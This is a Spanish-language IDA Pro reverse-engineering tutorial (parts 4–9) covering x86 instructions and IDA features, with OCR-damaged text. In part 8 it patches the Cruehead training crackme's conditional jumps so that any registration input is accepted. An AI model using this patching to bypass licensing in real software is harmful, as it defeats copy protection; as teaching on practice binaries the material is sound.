Vemos la palabra OFFSET delante del TAG correspondiente a una string, allí lo que pushearia sería
la dirección cuyo contenido es una string o array de caracteres.

Si hacemos doble click en el tag que representa el nombre de la string Windo?Name.

En código fuente en C un array de caracteres se podría defnir de esta forma

char cadena[] s "Hola";

Vemos que en este caso utliza dos líneas para la descripción de la variable.

char Windo?Name[] lo coloca porque detecta de la api CreateWindo?, a la que se le pasa el


argumento el mismo debe ser un LPCTSTR que es un char[] y que dicho argumento es una string
llamada Windo?Name.
De cualquier manera, es una array de caracteres o bytes solo que IDA le agrega un poco más de
info que obtene de la api, vemos que luego de 0x4020e7 la siguiente dirección en el listado es
0x4020f4 o sea que hay varios bytes consecutvos que corresponden a los caracteres de la string
“Crackme v1.0” y el cero que delimita el fnal de la string.
Si apretamos la tecla D para cambiar el tpo de dato encima de Windo?Name.

Vemos que podemos hacer que deje de detectar que es un array de caracteres y quede como db o
byte.

Son los mismos bytes correspondientes a la string Crackme v1.0 …

Vemos que en la referencia donde está la instrucción original cambio, obviamente la palabra o set
delante hace que se siga pusheando el valor 0x4020E7 pero ahora como el contenido dejo de ser
un array de caracteres y paso a ser un byte, la instrucción cambio a

push ofset byte_4020e7

Ya que cuando busca el contenido de 0x4020e7 para informarnos que es, allí hay un db o sea es
una variable cambiada por nosotros a una de un solo byte.
Apretando la A que es string ASCII vuelve a mostrarse como antes.

Asimismo si cuando trabajamos vemos alguna string como bytes sueltos

Yendo al inicio de la misma y apretando la A quedara mejor.


En este caso vemos que esta string no está defnida en dos líneas, como la anterior ni dice que es
un CHAR[], sino que solo está defnida con un tag que empieza con la letra a por ser una string
ASCII, en el caso anterior la aclaración que tenia de más venia porque detectaba que era un
argumento de una api o función de sistema y esa le avisaba que ese argumento debía ser un char[]
y por eso lo agregaba ahí, sino una string sin más aclaración, se verá como esta últma.

Allí vemos otra string

Allí en 0x402110 comienza el primer byte de la misma se puede descomponer para verlos
apretando D en aMenu.

SI apretamos la A volvemos a lo que era originalmente

Si con X busco la referencia y voy a ver dónde usa esa string

Vemos que allí guarda la dirección 0x402110 la ya que pone OFFSET delante.

Normalmente cuando se les pasan argumentos a funciones veremos siempre el PUSH ofset xxxxx
ya que lo que se busca es pasar la dirección donde está la string si no tuviera la palabra o set
estaríamos pusheando el contenido de la dirección 0x402110 que son los bytes 55 4e 45 4d de la
misma string y las apis no trabajan de esa forma siempre se les pasa el puntero al inicio o dirección
donde se inicia la string.

En el caso en esta instrucción que vemos arriba el prefjo DS:TAG indica que va a guardar en una
dirección de memoria de la sección data (DSsDATA), más adelante cuando veamos estructuras
veremos ese caso por ahora lo que importa es que guarda en la sección DATA en una dirección de
la misma, la dirección que apunta al inicio de la string

POP
Es la operación que lee el valor superior del stack y lo mueve al registro destno en este caso
vemos POP EDI leerá el primer valor o TOP del stack y lo copiara a EDI y luego apuntará ESP al
valor que estaba debajo para que pase a ser el TOP del stack.

Si hacemos una búsqueda de texto de la palabra POP vemos que no se utlizan muchas variantes a
pesar de que existe la posibilidad de POPEAR a una dirección de memoria en vez de a un registro,
esta opción no es muy usada.

Seguiremos en la parte 5 con más instrucciones para poder meternos en el funcionamiento del
LOADER.

BYE

Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
5
Seguiremos viendo las instrucciones principales y los usos en el código lógicamente cuando lleguemos a
la parte del debugger veremos más ejemplos donde se ven los resultados de aplicar cada una de ellas en
un contexto real.

LEA (LOAD EFFECTIVE ADDRESS)

LEA A,B

La instrucción LEA mueve la dirección especicada en B en A. Nunca se accede al contenido de B


siempre será la dirección o el resultado de la operación entre corchetes en el segundo operando. Se
ulia muchssimo para obtener las direcciones de memoria de variables o argumentos.

Veamos algunos ejemplos para aclarar.

Normalmente en las funciones detectadas por IDA existen argumentos que se le pasan a la misma, la
mayor parte de las veces con la instrucción PUSH antes de llamar a la función.

Como vimos PUSH guardaba esos valores en el stack dichos valores son llamados argumentos.
Como vemos en la lista de variables y argumentos que hay en el encabe ado de cada función, esta ene
un solo argumento en el stack pues en la lista solo hay un arg en este caso el arg_0.

Vemos también que la función ene variables locales para las cuales reserva un espacio en el stack
arriba de los argumentos, esos son los var_xx.

Ya explicaremos más adelante la ubicación exacta de los argumentos y variables en el stack por ahora
solo importa que cada argumento o variable que usa una función tendrá una dirección donde esta
ubicada y un valor tal cual cualquier variable en cualquier parte de la memoria.

Por lo tanto, en esta imagen vemos que cuando el programa en 0x401191 u li a una instrucción LEA, lo
que hace es mover la dirección del stack donde esta ubicada dicha variable a diferencia de si usara un
MOV que moversa el contenido o valor guardado en dicha variable.

O sea que LEA a pesar de usar un corchete solo mueve la dirección sin acceder al contenido de la misma
porque en el fondo solo resuelve las operaciones dentro del corchete sin acceder al contenido y como
EBP normalmente se usa como base de las variables y argumentos del stack en cada función, lo que hace
realmente es sumarle o restarle una constante al valor de EBP que apunta a una dirección del stack
tomada como base para dicha función.
Si hacemos clic derecho en esa variable vemos que la forma puramente matemá ca de escribirla a la
cual se puede cambiar usando la tecla Q es [EBP-0C]

Por eso el LEA lo que hace realmente es resolver esa operación EBP -0C ya que EBP ene una dirección
del stack que será la base en esta función, restándole 0c obtengo la dirección de dicha variable.

Muchos se preguntan en este punto si no es más sencillo que IDA u lice la notación matemá ca pura
para las variables y argumentos, en ve de EBP más o menos un tag.

El tema es que para el reversing es muy importante poder renombrar las variables y argumentos con
nombres que le pongamos nosotros interac vamente a medida que nos vamos dando cuenta que rol
cumple cada una y el nombre me servirá para orientarme.

No es lo mismo una variable que se llame EBP - 0C que yo la pueda renombrar a EBP + SIZE, si me doy
cuenta por ejemplo de que alls guarda un si e o sea un tamaño (se renombra usando la tecla N prueben)
de ul ma si necesito la expresión matemá ca pura la puedo consultar haciendo click derecho.
Por eso también LEA se usa para resolver operaciones que están dentro del corchete lo cual mueve
luego al registro de des no el resultado, sin acceder al contenido del mismo.

P EJ:

LEA EAX ,[4+5]

Moverá 9 a EAX Y no moverá el contenido de la dirección 0x9 como harsa un

MOV EAX,[4 +5]

Y por eso

LEA EAX,[EBP - 0C]

Mueve el resultado de EBP - 0C que es la dirección de memoria de la variable que se ob ene al resolver
EBP - 0C y la mueve a EAX.

MOV EAX ,[EBP - 0C]

Además de resolver EBP - 0C y obtener la misma dirección busca el contenido de la misma o sea el valor
guardado en dicha variable y lo mueve a EAX.

Es muy importante que nos demos cuenta la diferencia del LEA y el MOV y como se termina u li ando el
primero para obtener direcciones de variables y el segundo para obtener los valores guardados en la
misma.

Vemos en el resultado de la búsqueda del texto LEA en el VEWIEVER que la mayor parte de las veces se
usa para obtener direcciones de variables o argumentos del stack. (Las que enen EBP más algo son
mayorsa)
El resto son operaciones combinadas entre registros y constantes cuyo resultado se mueve al primer
operando que pueden dar resultados numéricos o alguna dirección también dependiendo del valor de
los registros.

Al momento de resolver la operación si ESI vale por ejemplo 400000 y EAX vale 2 se moverá a EDX el
resultado de .

0x400000 + 2 *4+0x14

O sea se moverá 0x40001c.

Hasta la parte 6.

Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
6
Sigamos con las instrucciones aritmétcas llgicas.

ADD A,B

Suma el valor de B a A guarda el resultado en A.

A puede ser un registro o el contenido de una posiciln de memoria, B puede ser registro, una constante
o el contenido de una posiciln de memoria (no se permite que A B a la vez sean contenidos de
posiciones de memoria en la misma instrucciln)

Veamos algunos ejemplos de ADD buscando el texto ADD en el VEVIEWER.

Ahí vemos muchos ejemplos de sumas donde el primer miembro es un registro el segundo una
constante, como sabemos se sumará al valor que tene el registro en ese momento, el valor de la
constante se guardara en el registro.
En este ejemplo si ECX vale 10000 se le suma la constante 4 el resultado 10004 se guarda en el mismo
ECX.

En este caso sumara 0xFFFFFFFF al valor que tenga previamente el contenido de la direcciln a la que
apunta ECX +30 siempre que dicha direcciln tenga permiso de escritura, hará la suma guardara el
resultado allí.

Si ECX por ejemplo valiera 0x10000, en 0x10030 si el contenido fuera el valor 1 a eso se le suma
0xFFFFFFFF que es -1 por lo tanto el resultado sería cero se guardara en 0x10030.

En el CRACKME.EXE ha un ejemplo de la suma de dos registros.

En ese caso se sumará el valor de ambos registros se guardará en EDI.

Por supuesto también se pueden sumar registros de 16 bits 8 bits.


ADD AL,8

ADD AX,8

ADD BX,AX

ADD b te ptr ds: [EAX],7

Donde sumara al b te del contenido que apunta EAX el valor 7 lo guardara en el mismo lugar.

Y todas las combinaciones posibles de sumas entre registros, contenidos de posiciones de memoria
constantes, como vimos todas las combinaciones son válidas, salvo que A sea una constante que
ambos sean contenidos de direcciones de memoria a la vez en la misma instrucciln.

SUB A,B

Es exactamente igual a ADD salvo que en vez de realizar la operaciln suma en este caso restara enteros
guardara el resultado en A, las combinaciones posibles son las mismas.

INC A y DEC A

Incrementa o decrementa un registro o contenido de posiciln de memoria en 1 es en realidad un caso


especial de suma resta.
Ambas se utlizan por ejemplo para incrementar o decrementar contadores de a uno.

IMUL

Es la multplicaciln entera existen dos formas.

IMUL A,B

IMUL A,B,C

En la primera forma se realiza la multplicaciln entera de ambos A B el resultado se guarda en A en


la segunda forma se multplican B C el resultado se guarda en A.

En ambos casos A solo puede ser un registro B puede ser un registro o el contenido de una posiciln de
memoria C solo puede ser una constante.

imul eax, [ecx]


imul esi, edi, 25

Veamos si ha algún ejemplo en VEVIEWER

Vemos que ha solo ejemplos de la primera forma, en ambos casos multplicara en forma entera ambos
miembros guardara en el primer miembro el resultado.

Del segundo caso no ha ejemplos

IMUL EAX,EDI,25

Multplicara EDI por 25 lo guardara en EAX es sencillo.


IDIV A

En este caso A marca solo el DIVISOR de la operaciln tanto el dividendo como el cociente no se
especi can porque son siempre el mismo.

Lo que hace esta operaciln es armar un número más grande de 64 bits con los registros EDX como parte
alta EAX como parte baja dividir eso por A guardarlo el resultado en EAX el resto en EDX.

Si EAX por ejemplo vale 5, EDX vale cero ECX vale 2 hará
la divisiln entera, el resultado de 5 dividido 2 será 2 se
guardara en EAX el resto 1 en EDX.

Ocurrirá lo mismo si A es el contenido de una posiciln de


memoria, EDX:EAX se dividirá contra ese valor se guardara el resultado en EAX el resto en EDX.

OPERACIONES LOGICAS

AND, OR o XOR

AND A,B

Realizara un AND entre ambos valores guardara el resultado en A, lo mismo pasa con OR o XOR cada
uno tene sus tabla de verdad, se aplicara en cada miembro el resultado se guardara en A.

A Y B pueden ser registros o contenidos de direcciones de memoria, pero es ilegal que ambos sean
contenidos de memoria a la vez en la misma instrucciln.

Los casos más usados son XOR de un mismo registro para ponerlo a cero fácilmente.

XOR EAX,EAX por ejemplo cualquiera sea el valor de EAX lo pondrá a cero a que la tabla de verdad de
XOR es.
En este caso el resultado es la últma columna vemos que si XOREAMOS un numero contra si mismo
solo se pueden dar al pasarlo a binario los casos que ambos bits sean cero o ambos sean uno, a que
como es el mismo número solo pueden ser iguales A B el resultado haciéndolo bit a bit siempre da
cero en ambos casos.

Escribiéndolo como binarios en la barra de P thon usando ^ que es el xor en P thon veo que al xorear
dos números iguales siempre da 0.

Por supuesto que se puede realizar con valores decimales hexadecimales solo lo paso a binario para
que sea vea clmo afecta bit a bit.

Otro uso sencillo es por ejemplo


AND EAX, 0f

Como 0F es en binario 1111

Vemos que siendo 1 el segundo miembro el resultado no variara quedara igual como era originalmente
mientras que todos los otros bits se pondrán a cero.

De esta forma o fácilmente puse a cero todos los bits de un número deje los últmos 4 bits intactos.

Allí vemos que el and en P thon que se escribe & me deja el resultado en 0b0111 que eran los últmos
cuatro bits originales.

En el caso de OR en P thon se escribe como la barra vertcal


Siempre con una calculadora cien ca o con P thon podemos resolver la operaciln sin tener que pasar
a binario ambos ver qué pasa bit a bit que es un poco pesado.

NOT A

Niega o invierte todos los bits de A los guarda en el mismo A.

De este no existe instrucciln en P thon pero es mu sencillo si tenes 0101 le aplicas NOT.

El resultado será al invertr bit a bit

Vemos que todos los ceros se transformaron en unos viceversa.

NEG A

NEG A transforma A en -A.

No es exactamente igual al ~ en P thon a que este al resultado le resta uno


O sea que para hacer en P thon un NEG de assembler ha que sumarle 1 al resultado.

SHL, SHR

SHL A,B

SHR A,B

A puede ser un registro o una posiciln de memoria B una constante o registro de 8 bits.

Estas instrucciones rotan a la izquierda (SHL) a la derecha (SHR) ,los b tes que se van perdiendo por un
lado son reemplazados por ceros que entran por el otro, veamos un ejemplo.

Si o tengo, por ejemplo

Y le hago SHL 2 quedara

Ya que al mover a la izquierda dos lugares todos los bits, se ca eron dos bits por el lado izquierdo, que
se rellenan con dos ceros por la derecha.
Lo mismo si hacemos SHR se moverán hacia la derecha e irán ca endo los que caigan por la derecha se
reemplazaran por ceros por el lado izquierdo.

Existen también las instrucciones ROL Y ROR que son similares rotan cierta cantdad de bits pero en este
caso los que se caen por un lado retornan con su mismo valor por el otro es una rotaciln pura en ese
caso a que no se cambia ningún bit solo se rotan.

Bueno hasta la parte 7.

Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
7
INSTRUCIONES DE CONTROL DE FLUJO

Vamos terminando con las instrucciones que siempre es la parte más pesada, tráguense esta dura
píldora que luego vendrá lo mejor.

Las siguientes instrucciones controlan el fujo del programa. Sabemos que EIP apunta a la siguiente
instrucción a ejecutarse, y cuando se ejecute la misma EIP pasara a apuntar a la siguiente.

Pero el programa en si tene instrucciones que controlan el fujo del mismo pudiendo desviar la
ejecución a una instrucción deseada, veremos estos casos.

JMP A

A será una dirección de memoria donde queremos que el programa salte incondicionalmente.

JMP SHORT es un salto corto que está compuesto por dos bytes y como solamente la posibilidad de
saltar hacia adelante y hacia atrás está dada por el valor del segundo byte ya que el primero será el
OPCODE del salto, no podremos saltar muy lejos.
Si ponemos en las opciones que se vean los bytes que componen las instrucciones vemos el opcode EB
que corresponde al JMP y que saltara 5 lugares hacia adelante desde donde termina la instrucción, o sea
que la dirección de destno hacia adelante se podría calcular como.

La dirección de inicio de la instrucción más 2 que es la cantdad de bytes que ocupa la instrucción y luego
le sumo el 5 que me muestra el segundo byte.

Obviamente saltar para adelante y para atrás con un solo byte no nos da mucho alcance, el máximo
salto positvo hacia adelante será 0x7f, veremos un ejemplo.

Como vamos a hacer algunos cambios que romperán la función conviene hacer un snapshot de la
database la cual nos permitrá retornar al estado anterior a la rotura, siempre que tengamos dudas de lo
que vamos a realizar si puede romper alguna función y no sabemos restaurarlo conviene hacer un
snapshot.

Nos pedirá un nombre y listo.

EN VIEW-DATABASE SNAPSHOT MANAGER


Nos permitrá ver la lista de todos los snapshot y la fecha en que fueron hechos y con el botón RESTORE
podremos volver al estado que queramos de los que habíamos guardado.

Veamos qué pasa si cambio el 05 por 7f.

Usando el PATCH BYTE del IDA cambio el 05 por 7f.

El salto es un poco más largo y se va fuera de la función si apretó la barra espaciadora para salir del
modo grá co.
Vemos que la cuenta nos da bien y salta a 0x4013a5 hacia adelante, veamos qué pasa si cambiamos el
0x7f por 0x80.

Volvemos al modo grá co con la barra y cambiamos por 0x80.

Vemos que ahora hacemos el máximo salto hacia arriba, aquí al pasar de 0x7f que es el máximo salto
hacia adelante, pasamos a 0x80 que es el máximo salto hacia atrás.

En este caso como vamos hacia atrás para que nos dé bien la cuenta en la formula y solo para propósitos
matemátcos ya que Python no sabe de esto de que los saltos pueden ir hacia adelante o hacia atrás a
partr de un valor, debemos pasar el -0x80 a su valor hexadecimal en dword que es 0xFFFFFF80 y luego
como vimos al hacer el AND 0xFFFFFFFF del resultado limpiamos todos los bits mayores que los
necesarios para un numero de 32 bits y listo nos da la misma dirección 0x4012a6.

Si uso como segundo byte 0xFF sería un salto mínimo, que pasado a dword hexa es -1 o sea le sumo
0xFFFFFFFF para que me de la cuenta, recordemos que siempre le sumamos los dos del largo de la
instrucción, así que no saltara para atrás ya que ese dos que le sumamos hace que se tome como inicio
del cálculo hacia atrás la dirección nal donde termina la instrucción y volver uno hacia atrás desde allí
nos deja en 0x401325.

Si seguimos hacia atrás una posición más o sea el segundo byte seria FE esto es saltar -2 para atrás
desde donde termina la instrucción, eso sería en la formula sumarle 0xFFFFFFFE.

Esto salta al mismo inicio de la instrucción es lo que se conoce como LOOP INFINITO pues siempre
vuelve a repetrse y no se puede salir de él.
Y así sucesivamente saltar -3 desde donde termina la instrucción para atrás será FD o sea que saltara a
0x401323.

Obviamente con los saltos cortos no podemos saltar a cualquier dirección pues estamos limitados a
pocos bytes alrededor de donde nos encontramos para ello usamos el salto largo.

Ahí vemos un par de saltos largos recordemos que loc_ nos dice que esa instrucción es una instrucción
cualquiera.

Allí vemos el salto largo, la distancia entre 0x4026ae y 0x4029b3 es mucho más grande de lo que
podemos alcanzar con un salto corto.

Allí vemos que la distancia se calcula con la formula dirección nal menos dirección inicial – 5 que es el
largo de la instrucción eso me da 0x300 que es el dword al lado del opcode del salto largo 0xe9.
Si con el KEYPATCH cambio la dirección de destno del salto a una dirección hacia atrás por ejemplo
0x400000.

Aunque me marca en rojo porque no es una dirección valida en este momento, veré si puedo armar en
PYTHON una fórmula para ir hacia atrás.

Eso me da -0x26b3 de distancia usando la misma fórmula anterior.

Pasados a bytes hexa es FFFFD94D que son los bytes al lado del opcode 0xe9 obviamente al revés.

SALTOS CONDICIONALES
Normalmente los programas tenen que tomar decisiones y según la comparación de ciertos valores
desviar la ejecución del programa a un punto o a otro.

Tomemos por ejemplo CMP A,B

Puedo necesitar que el programa compare A y B según la relación entre ellos el programa haga algo y si
no haga otra cosa diferente.

Así que normalmente después de la comparación que cambia los famosos FLAGS, según el estado de
ellos, la instrucción de salto condicional decidirá qué hacer.

Allí vemos un ejemplo de salto condicional JZ el mismo salta si el fag Z o cero está actvado. Eso ocurre
cuando en la CMP anterior EAX y EBX son iguales ya que internamente CMP es similar a SUB pero sin
guardar el resultado.

CMP resta ambos registros y si son iguales dará cero lo que actvara el FLAG Z o cero que es lo que mira
el salto JZ para saltar, si el FLAG Z está actvado va por el camino de la fecha verde y si no ira por la
fecha roja si son distntos.

Ya veremos al debuggear ejemplos de cómo se encienden los fags al realizar diferentes operaciones,
por ahora lo importante es que si hay una comparación pueden a contnuación existr estos diferentes
saltos.
Bueno salvo el JMP y el NOP que están colados en la tabla, el resto son saltos condicionales que evalúan
diferentes estados de una comparación, si el primero es mayor, o si es mayor o igual, si es menor etc,
hay diversas posibilidades, las cuales veremos más adelante con mayor profundidad al ver el
DEBUGGER.

CALL Y RET

Otras instrucciones que mencionaremos son el CALL para llamar a una función y el RET para volver de la
misma a la instrucción siguiente del punto de llamada.

Allí vemos un ejemplo de un CALL, el mismo saltara a 0x4013d8 a ejecutar dicha función (vemos el sub_
delante de la dirección 0x4013D8 que nos indica esto).

El CALL guarda en el TOP del stack el valor donde retornara o return address en este caso 0x40123d,
dentro de la función a la cual puedo entrar haciendo ENTER en el CALL.
Al terminar la función la misma llegara a un RET que toma la dirección de retorno guardada en el stack
0x40123d y salta allí, contnuando la ejecución luego del CALL.

Bueno con esto terminamos un paneo rápido de las instrucciones principales, algunas las detallaremos
más adelante, cuando haya que tener más precisión y detalle.

Hasta la parte 8

Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
8
Ya hemos visto a vuelo de pájaro las principales instrucciones ahora sigamos con el LOADER.
La forma de trabajar cuando uno no tene mucha practca con reversing estátco es ir comentando y
renombrando algunas pocas cosas que podemos darnos cuenta y la mayor parte del trabajo hacerlo
debuggeando. A medida que uno va teniendo más practca con el reversing estátco puede lograr más y
más reversing casi sin debuggear o a veces sin debuggear.
Normalmente y dado lo extenso de los programas, uno no los va a reversear completamente sino una o
varias funciones de alguna zona que necesita entender para algún propósito.
IDA es una herramienta que nos proporciona la posibilidad que interactuemos de forma de obtener los
mejores resultados de reversing como ninguna tool, pero dependerá el resultado de la capacidad de
reversing del que la usa.
La famosa frase “No es culpa de la fecha sino del indio”, aquí se aplica completamente es necesario
practcar y mejorar en el uso del IDA, si fallamos o no obtenemos un buen resultado debemos mejorar
nuestro nivel y practcar más y más, no es una herramienta sencilla y tene miles y miles de posibilidades
lo cual hace que todos los días podamos aprender cosas nuevas cuando la usamos.
Vamos a comenzar a mirar estátcamente el CRACKME DE CRUEHEAD no importa si llegamos hasta la
solución o si es necesario nalmente terminarlo cuando lleguemos a la parte de DEBUGGER, lo
importante es acostumbrarse a jugar con el LOADER e ir mejorando nuestra con anza con el mismo.

Si vamos a VIEW-OPEN SUBVIEW-SEGMENTS veremos los segmentos que carga el LOADER en forma
automátca.
Vemos que por ejemplo el HEADER que estaría en 0x400000 antes de las secciones, no está cargado ya
que en las opciones cuando carga por primera vez al dar todo OK carga automátcamente solo algunas
secciones del ejecutable sin el HEADER.

Vemos que luego del NOMBRE de la sección, están las direcciones de inicio START y nal de la misma
END, luego las columnas RWX me dicen si tene inicialmente permiso de lectura o READ(R), de escritura
o WRITE(W) y de ejecución(X).
Luego vemos dos columnas con los nombres D y L que corresponden a DEBUGGER y LOADER, vemos que
la de DEBUGGER esta vacía pues se llama cuando cargamos el programa en modo DEBUGGER y nos
muestra los segmentos cargados en el mismo y L nos muestra los que carga el LOADER y luego algunas
otras columnas mas no tan importantes.
En este caso no tene mayor importancia cargar el header, ya vimos en la parte anterior que cuando
renombramos una instrucción y le pusimos un salto a 0x400000 nos la marco en rojo como una
dirección que no está cargada en el LOADER.
Si quisiera cargar el HEADER lo vuelvo a abrir el CRACKME.exe

Le pongo que sobrescriba o OVERWRITE todo el análisis anterior y me haga uno nuevo.

Le pongo la tlde a MANUEL LOAD y al dar OK


Me pregunta si quiero manualmente cambiar la BASE de donde se cargará el ejecutable le doy OK con el
valor que trae.

Y me preguntara manualmente uno por uno que segmentos quiero cargar a todos le doy YES.

Y ahí tengo cargado en el LOADER todas las secciones incluso el HEADER y varias más de DATOS.

Esto normalmente no es necesario hacerlo, pero es bueno tenerlo en cuenta.

Ahora guardare un SNAPSHOT con FILE-TAKE DATABASE SNAPSHOT y cambiare un salto a JMP 0x400000
como antes.
Vemos que ya no sale la dirección 0x400000 en rojo y nos pone allí que es la ImageBase, incluso
podemos ir a ver allí clikeando en el nombre ImageBase.

Allí vemos entonces el header en 0x400000 con su tag ImageBase y el contenido que es detectado como
header y mostrado con sus campos.
Bueno volvamos el snapshot anterior antes de romper todo con VIEW-DATABASE SNAPSHOT MANAGER
y le damos a RESTORE.

Por supuesto en todo ejercicio de cracking o reversing las strings cumplen un papel primordial para
guiarnos a zonas importantes, si las hay nos pueden ayudar, veamos en VIEW-OPEN SUBVIEW-STRING
que vemos.

Ahora como hay más secciones, hay más strings detectadas que antes, igual si corremos suelto el
crackme.exe fuera de IDA vemos en el HELP hay una opción REGISTER y nos pide un user y pass y si
ponemos cualquiera, nos sale el cartel NO LUCK THERE, MATE!.
Buscamos esa string en el IDA en la lista.

Si hacemos doble click en la string

Vemos 0x402169 cuyo contenido es la string esa, sabemos que si apretamos D en la dirección esta se
verán los bytes sueltos de la string.
Y si, apretemos A en la dirección así vuelve como antes y apretó X para ver las dos referencias que
muestra a la derecha con más comodidad.

Vemos que desde dos funciones diferentes es llamada dicha string, una es sub_401362 y la otra es
sub_40137E y que ambas están más arriba de la dirección donde estamos por eso en la columna
DIRECTION nos muestra en ambas UP.

Sabemos que son dos funciones diferentes porque ida nos muestra las direcciones de las referencias
como función más XXXX y si fueran en la misma función debería cambiar el XXXX pero mantenerse la
misma primera parte aquí ambos sub_ son distntos por eso diferentes funciones.

Esta es la primera referencia y abajo la segunda.

Tenemos las zonas donde nos trara el cartel malo cuando ponemos user y password equivocados,
como vamos a tratar de llegar lo más lejos posible sin debuggear si alguien quiere ayudarse por ahora y
chequearlo en OLLYDBG debuggeando no hay problema pueden poner un breakpoint en ambas
direcciones y ver si para cuando ponemos una clave que no es correcta, por ahora ayudarse en los
comienzos suele ser útl, la idea es poco a poco necesitar cada vez menos de esas ayudas a medida que
nos a anzamos con IDA, igualmente podríamos poner un breakpoint en ambos bloques aquí en IDA y
ver si para de la misma forma usando el DEBUGGER de IDA pero para ir transicionando creo que mejor
eso dejarlo para más adelante.

Tomemos la primera de las dos referencias

Vemos que es un llamado a la api MessageBox que es la que saca esos cartelitos como el de NO LUCK
THERE MATE y le está pasando como argumento las strings NO LUCK para el tulo de la ventanita y NO
LUCK THERE MATE como el texto de la misma.

Vemos que en la otra referencia es exactamente igual, quiere decir que el cartel de chico malo se puede
disparar desde dos lugares diferentes posiblemente evaluando diferentes cosas, y para que salga el
cartel de chico bueno habrá que evitar ambas.

Si vemos las referencias a 0x401362 con la X, vemos un solo lugar antes de ir allí renombremos la
función 0x401362 con un nombre que nos diga algo de lo que hace, por ejemplo CARTEL_ERROR.
Apretando la N en la dirección ahí escribimos nuestro nuevo nombre.

Ahora si vayamos a la referencia.


Allí vemos el bloque que nos lleva a CARTEL_ERROR y antes una decisión que toma el programa, antes
que nada, como yo al reversear quiero ver las cosas de un solo golpe de vista a los bloques de error o
malos, los pinto de algo parecido al rojo para que resalten.

Allí está el icono para cambiar el color, muchos dirán esto no es necesario, pero en funciones complejas
tener las cosas resaltadas es muy importante.

Y allí hay un salto condicional por ahora como recién comenzamos no evaluaremos porque salta a un
bloque o al otro, pero miremos dentro del bloque de 0x40124c entrando a ese call 0x40134d con ENTER.
Allí vemos unas posibles strings de chico bueno que también estaban en la lista de strings, pero como el
cartel de error que aparecía, nos daba la string de error, creíamos que era mejor empezar por ahí pues
esta podía ser una string falsa de chico bueno, pero como vemos que el programa decide venir aquí o a
la zona de chico malo, vemos que es muy posible que sea la correcta.

A esta función la renombramos como CARTEL_BUENO.

En la referencia pintamos el bloque que nos lleva aquí de verde.

Y también como vamos a trabajar por otras partes del programa para poder volver fácilmente aquí, nos
ubicamos en el JZ de 0x401243 y vamos a JUMP-MARK POSITION y le ponemos un nombre que nos guie
como DECISION_FINAL.
Vemos que entonces en JUMP-JUMP TO MARKED POSITION nos aparece la lista de marcas que hicimos y
podemos ir a la que queramos por si nos perdemos en el programa.

Quiere decir que teóricamente si parcheáramos ese JZ y lo cambiáramos por un JNZ aun siendo invalido
nos llevaría a GOOD WORK, siempre y cuando el anterior cartel de error no nos tre fuera veamos.

Lo cambio con el KEYPATCH.

Y guardo los cambios con APPLY PATCH TO INPUT FILE.


Vemos que lo parcheamos, pero en qué caso saldrá el otro cartel de error que falta parchear.

Si ponemos esto vemos que salen los dos primero el cartel de error y luego el de chico bueno, veamos si
podemos parchear el otro cartel de error.
Vemos ahí el otro cartel de error que lo pinte de rojo más adelante analizaremos completamente este
crackme pero es obvio que compara contra 41 que es la A en ASCII y si es más bajo (JB) te tra al error,
así que si vemos que yo en el ultmo intento puse números en vez de letras en mi nombre, obviamente
los números tenen caracteres ASCII mas bajos que 41 (cero es 30, uno es 31, etc) por lo tanto cuando
detecta que en el nombre hay números te saca el cartel de error, así que parchearemos esto (aquí no
podemos cambiar JB por JNB porque si no nos trara el error al poner las letras en el nombre ya que se
invertrá).

Si con la barra espaciadora lo quitamos de modo gra co

Vemos que saltara para llegar al cartel de error, la línea punteada a la izquierda me muestra el salto, así
que si lo nopeo no saltara y seguirá con la próxima instrucción sin venir aquí.

Volviendo al grá co.


Vemos que rellenará con 90 hasta la siguiente instrucción así que no se romperá, creo jeje.

Quedo bien, pero los bloques se me desordenaron y me quedo feo a la vista, así que hago click derecho-
LAYOUT GRAPH y lo acomodara.

Vemos que allí están los nops y el bloque de error me quedo aislado y no se puede llegar allí mas.

Guardo los cambios de la misma forma que antes.

Vemos si ahora acepta cualquier cosa.

Bueno este es un inicio obviamente solo parcheamos para ir tomando contacto con el reversing estátco
más adelante veremos cómo reversearlo completo y hacer un keygen pero eso será unos capítulos más
adelante por ahora vamos despacio y vemos esto.

Hasta la parte 9
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
9
Estamos viendo poco a poco como manejarnos en el LOADER, dejamos algunas cositas pendientes para
más adelante que se necesita ver en un DEBUGGER por ejemplo como cambian los fags con ciertas
instrucciones.

Vamos a ir practcando ejemplitos muy sencillos en este caso es un pequeño crackme ultra simple que
compile en VISUAL STUDIO 2015 para practcar. Obviamente para que corra tendrán que tener la últma
versión de las VISUAL STUDIO 2015 C++ runtmes.

h ps://www.microso .com/es-ar/download/details.asp?iidm4 145

Los paquetes de Visual C++ Redistributable instalan los


componentes de tiempo de ejecución que se necesitan para
ejecutar aplicaciones de C++ compiladas con Visual Studio
2015.
Se bajan el idioma de su sistema operatvo lo instalan y listo.

Adjunto va el ejecutable que cree que se llama HOLA_REVERSER.e?e y que corre de Windows 7 en
adelante.

Al tpear un numero me dirá si soy buen o mal reverser, jeje.


Vemos que es un código ultra sencillo, si lo abro en IDA en el LOADER solamente.

En mi caso (NO EN EL SUYO) la función main aparece entre las funciones, la puedo buscar con CTRL +F
allí en esa pestaña, o donde tenga abierta la pestaña funciones, pero eso ocurre porque como yo
compile el programa al hacerlo el VISUAL STUDIO crea un archivo pdb de símbolos el cual IDA detecta y
carga los nombres de las funciones y variables que yo puse, vemos que en el mío al igual que en mi
código fuente, me aparece main, más abajo prin , veremos qué pasa en el de ustedes.

Bueno en el de ustedes como no tene símbolos no aparece el main, lo cual es el escenario mas probable
pues nadie distribuye un programa con símbolos.
Normalmente tendremos símbolos para los modulos de sistema, no los que son propietarios de algún
programa, salvo casos muy raros, en este caso este engendro es de mi autoría, por eso yo tengo los
símbolos, pero lo analizaremos sin símbolos como cualquier hijo de vecino, jeje.

Vemos que acá al no tener símbolos

Estamos como un poco más pelados de información, pero bueno podemos mirar las strings a ver que
hay.

Tenemos las strings a la vista, las que usaba para decirnos que nos equivocamos al poner el numerito.

Podemos hacer doble click en “Pone un numerito\n”

Allí vemos que 0?40210 es la dirección de la string, al lado de la dirección vemos el TAG que le pone a
